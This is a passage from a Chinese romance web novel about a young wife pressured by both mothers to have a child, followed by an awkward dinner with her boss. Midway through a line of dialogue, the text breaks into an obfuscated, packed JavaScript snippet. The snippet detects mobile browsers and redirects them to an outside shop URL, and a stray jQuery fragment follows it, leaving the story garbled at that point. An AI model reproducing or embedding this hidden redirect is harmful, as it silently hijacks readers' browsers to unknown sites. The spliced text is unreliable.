她三番两次把话题绕回到怀孕生孩子上面。
童旁落在其他人都没有开口之前,抢先说:“阿姨,我并不知道您是怎么了?”
她看起来好像真的很疑惑,单纯疑惑。
“为什么您今天一直在说怀孕这件事,您是要催生我和蒋翼鑫吗?”
王晓玲没料到童旁落是这么个直来直去的性子,她也怕把人惹急了鸡飞蛋打,得不偿失。
于是脸上挂起笑容,笑得亲切慈和。
“阿姨没有别的意思,就是你跟小鑫年纪也都不小了,这女人过了三十生孩子就不好恢复了,阿姨也是为了你好。”
童旁落听得蹙眉,她觉得自己的火气好像压不住了,为什么蒋翼鑫妈妈的每句话在她听来都像是挑衅?
她压住脾气,开诚布公道。
“既然阿姨您都这么说了,我也没必要说些假话来搪塞您。我也就直说了,至少这一两年内我都不会考虑生育之事,我正在事业上升期,手上有重要的项目要亲力亲为,生育会让我丧失这次机遇,所以希望双方父母都能理解。”
“这个不影响的呀,你就正常生,生下来我和你妈妈都可以帮你照顾的……”
王晓玲不依不饶,还要继续这个话题。
郝秀芬女士看出了童旁落的难堪。
忙好言好语相劝道:“晓玲,孩子要忙事业,我们做家长的应该支持他们,再说了两个孩子婚都结了,你抱孙子不是迟早的事嘛,别着急。”
童旁落和王晓玲脸色都不太好。
童旁落觉得为什么都默认她会生孩子?
王晓玲觉得不能做亏本的生意,房也买了,车也买了,就生个孩子,有多难呐?
最后还是王晓玲退了一步,同意童旁落先忙事业,但是两人心里都不舒服,只是揭过不提。
夜里,王晓玲推说身体不舒服,早早睡了。
蒋翼鑫和蒋父童父三个人弄了点下酒菜,在餐厅喝酒聊天。
郝秀芬女士说想去楼下散散步,让童旁落陪着她。
母女两人在玄关换鞋出门。
楼下花木扶疏,夜景清幽,时不时有遛狗的业主牵着大型犬从身边路过,她们沿着卵石铺就的小路踏入花坛景观深处。
道路两边种植有驱蚊香草,是以她们并没有被蚊虫侵扰,得以在草木深处独享这一份难得的宁静。
花园中心有一池喷泉,喷泉旁边建造了一座专供花藤攀爬的凉亭,亭下置了许多张石凳,供人游玩时坐下赏景用。
郝秀芬女士抬手指向凉亭方向,“我们去亭子里坐坐吧。”
童旁落点头,跟她过去。
母女俩在一条石凳上坐下,童旁落问:“妈,你是不是有什么话想跟我说?”
不然也不会特意把她喊下来陪她散步了。
郝秀芬先是往远处看了一眼,随后收回眼神,轻飘飘落在童旁落身上,没什么重量。
她出言宽慰道:“今天蒋翼鑫妈妈说的话你别放在心上,她就是年纪大了,抱孙子心切,你工作重要先顾工作要紧,我跟你爸爸都支持你的决定。”
童旁落发现她憋了一天的闷气开始慢慢疏散。
就在这几句理解和支持的话语中。
“我明白。”童旁落轻声道:“但是你们为什么都默认我婚后一定会生孩子呢?我不生不行吗?”
郝秀芬女士顿时大惊失色。
“童童,女人哪有不生孩子的,结了婚就是要生孩子,不生孩子是不完整的女人。”
她生怕童旁落是认真的,紧盯着她的神色,“你可以缓一两年再生,但是你不能不生,知道吗?”
夜风清寒,吹得她后颈发凉,吹拂着童旁落披在肩膀一侧的发丝,几缕头发被风拂面,她勾出小指去拨开别在耳后。
随后用极其陌生的眼神看了一眼郝秀芬女士,她摇摇头道:“妈,你有时候说的话我都听不懂,真的。我不缺胳膊少腿儿,我怎么就不完整了?”
“这还不是你自己选的,我当初就说了蒋翼鑫他家里情况没这么简单,是你非要跟他结婚,现在吃到苦头了吧?”
“妈!”童旁落声音拔高。
“你非要现在说风凉话吗?我不跟他结婚我跟谁结?跟红霞姨那个第二次见面就想对我动手动脚的侄子结吗?”
这件事郝秀芬理亏,她张张嘴没说出话。
母女俩夜间谈话也不欢而散。
晚上睡觉前,童旁落散着头发从浴室里出来,就见蒋翼鑫在床边站得笔直。
为了应付双方父母,他们不得不暂时住在同一个房间里。
童旁落看了他一眼,去自己那边准备睡觉,芬芬已经在床上等她了。
想想又问:“站在那干什么,你不睡吗?”
蒋翼鑫举起一只手对天发誓。
“童童,我保证我妈催生这件事我会解决的,你就放心交给我吧。”
卧室大灯关了,只剩两旁床头柜上的台灯还亮着。
昏昧的暖色灯光下,童旁落挑挑眉,将信将疑道:“那就交给你了,别让我失望。”
“放心吧,保证完成任务。”
---
童旁落工作时间固定,她照常上班。
蒋翼鑫如今上班时间自由,他就负责带着双方父母去西城各景点、博物馆参观游玩。
一天,蒋翼鑫父母去拜会老朋友,童旁落下班后带着爸妈去外面吃饭。
谁也没想到会在小区里偶遇好几天都不曾现身的陈慕白。
据说他回总部出差了。
也有说他是回去相亲的。
童旁落结合上次在他办公室里看到的聊天记录来看,还是后者更靠谱一点。
不过既然遇上了那就大大方方打个招呼吧。
陈慕白高挑优越的身形携一身寒霜气从门庭进来,鼻梁上架着他那副走到哪戴到哪的平光眼镜,长款风衣脱下来搭在手臂上,一路行来大步流星,却在见到童旁落后顿在原地。
“陈总好。”童旁落率先点头问好。
她也不知道陈慕白为什么总戴着一副眼镜,明明没有度数,明明他也不近视,真的很奇怪。
此刻,夕阳斜照,暮色迟留。
陈慕白的影子被光线拉的极细极长,一点一点靠近童旁落三人。
待到近前,童旁落就再也看不见陈慕白面上的冷气,周身的寒霜,他带上温和待人的面具,有礼有节。
“小童要出去,这两位是?”
童旁落忙给几人分别介绍。
“陈总,他们是我爸妈,特意来西城看我和蒋翼鑫。”
“爸妈,这位是我的老板陈总。”
童父童母那个年代的人把领导都特别当回事,知道陈慕白是童旁落的老板,两人战战兢兢上前握手问候,一人一句陈总。
反观陈慕白亲切随和,他立刻摆手道。
“叔叔阿姨太客气了,现在又不是工作场合,况且我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645839|205839||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
和小童也算是同龄人,我本名叫陈慕白,你们叫我小白、慕白都可以的。”
他果然天生适合当领导者。
童旁落在一旁围观,只见其三两句拉近关系的话一出,她爸妈拘谨感顿消,看着陈慕白的眼神都亲近不少。
童旁落出声询问:“陈总是刚出差回来吗?”
“对,维斯总部有个高层会议,我回去参会。”
陈慕白反问:“公司里一切都好吗?”
“挺好的,大家都在等您回来。”
陈慕白轻笑,觉得童旁落又在跟他说客套话了。
不过他确实想早点回来,在总部受的气都是他的准大嫂——董杉资本的大小姐赵佳给的。
因为董杉资本注资维斯,她便以为自己能在维斯指手画脚了,竟多次阻挠这次由他主导的西城分公司收购福德项目。
可恨的是,他的大哥陈思白一如既往沉默寡言,任由未婚妻在维斯总部作威作福。
陈慕白实在看不下去,开完会就走了。
“小童这是要出去吗?”
陈慕白第一次问话没有得到回答,他又问了一次。
“对,我带爸妈出去吃饭。”话已至此,童旁落多问了一句:“陈总您吃了吗?”
“没有。”
童旁落愣住了。
没有,要怎么回答?
她没准备。
陈慕白好整以暇地望着童旁落,想看看她要怎么说。
“那您要不一起去吃点?”童旁落恨自己嘴快,下意识问出了这句话。
她本以为陈慕白会推辞的,没想到他答应得挺爽快。
陈慕白颔首微笑:“好啊。”
他将手机装进西裤口袋里,此时一阵微风过,夏风吹起他臂间搭着的风衣系带,额际碎发被风吹下来几缕,飘飘悠悠晃在眉梢眼角,平光镜片内是一双隐含笑意的星眸,正专注凝视着童旁落惊疑不定的双眼。
这个场景很多年后都依然清晰地印在两人记忆深处。
童旁落在心里暗骂陈慕白无赖,但是是她自己亲口邀请的,自然只能做一回东道主,使得宾主尽欢。
她本来想领着父母在路边小餐馆里对付一顿的,但如今陈慕白加入就不能那么随便了。
去高档餐厅的路上,陈慕白一直在和二老闲聊,相谈甚欢,从家世背景聊到留学见闻,还能扯到童父当年知青下乡,后来下岗潮陈父下海做生意的事情。
两人对陈慕白这么个没架子,还博闻广识的老板溢满欣赏的眼光。
最后去了一家专做粤菜的餐厅。
一顿饭,二老被陈慕白彻底收服,满口称赞陈慕白有学识有涵养。
童旁落莫名觉得陈慕白今天有点……过于表现了。
但又怕是自己多心。
毕竟可能他的家教就是这样,尊敬长辈、温和有礼。
最后结账的时候陈慕白主动要结,童旁落说什么都要拦着。
陈慕白说,他是老板,哪有出来吃饭让员工结账的道理?
童旁落郁闷至极,她真的不是想白蹭这顿饭。
最后无可奈何,搬出上次姚书予请客,陈慕白却帮她们结了账的事情来说。
“陈总如果不让我请回来,我是真不好意思吃这顿饭的。”童旁落说什么都不让。
陈慕白细观她面色,知道她是认真的。
再拉扯下去,大家都没面子,最后还是选择放手,让童旁落去结账。